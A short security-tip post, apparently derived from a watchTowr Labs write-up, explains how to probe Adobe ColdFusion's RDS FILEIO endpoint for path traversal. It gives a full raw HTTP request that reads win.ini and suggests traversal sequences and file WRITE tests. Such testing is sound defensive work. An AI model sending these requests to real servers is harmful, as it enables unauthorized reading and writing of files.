Test RDS for path traversal

File inclusion and path traversalDiscovery

Written with a model's help from “It’s 37oC, And All We Can Think About Is ColdFusion (Adobe ColdFusion Security Bulletin APSB26-68 CVE Bonanza)” by Sina Kheirkhah on watchTowr Labs. Read the writeup before relying on it.

To test for path traversal in Adobe ColdFusion's RDS feature, send a POST request to /CFIDE/main/ide.cfm?ACTION=FILEIO with a Content-Type of application/octet-stream. The request body should contain a length-prefixed list of fields, including the file path and the READ operation. For example, the request body could be 2:000018:C:\\Windows\\win.ini00004:READ. If the server responds with the contents of the file, it may be vulnerable to path traversal. Try modifying the file path to include directory traversal sequences, such as ..\, to test for this vulnerability. Also, test the WRITE operation to see if it allows writing files outside the intended directory.

http
POST /CFIDE/main/ide.cfm?ACTION=FILEIO HTTP/1.1
Host: target.com:8500
Content-Type: application/octet-stream
Content-Length: 37
2:000018:C:\\Windows\\win.ini00004:READ

Follow #coldfusion, #path-traversal or #rds for new tips like this one, on your notifications page and, if you choose, in a daily or weekly email.

Comments

No comments yet.